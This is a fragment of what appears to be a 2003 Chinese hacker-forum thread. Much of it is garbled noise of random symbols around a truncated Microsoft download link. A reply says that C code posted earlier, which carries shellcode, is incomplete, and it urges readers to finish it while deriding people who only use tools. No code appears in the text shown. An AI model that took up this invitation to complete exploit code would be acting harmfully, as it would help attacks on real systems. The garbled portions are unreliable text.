% o! u5 G0 N' [9 L, V0 w7 t! Rhttp://microsoft.com/downloads/d ... &displaylang=en

4 Q0 H3 q4 T2 _: A& V! _6 d
- t' ]5 F) T* ^: N; \" m3 F5 C

6 L4 L- g$ x- }+ ]/ R2 h2 a' F

[此贴子已经被作者于2003-8-9 23:05:32编辑过]

ASEE

上述那段捆绑了SHELL CODE的C代码还不完整，没有处理返回的数据，因此VC下编译后的程序执行后没有反应，大家如果有兴趣研究的话，可以补充完整（俺工作太忙，没有太多的时间去补充，Hoho,不要成为只会使用工具的“伪黑客”，说白了，只会使用工具的人都是菜鸟，网络原理都弄不清楚，还搞什么攻击，KAO）。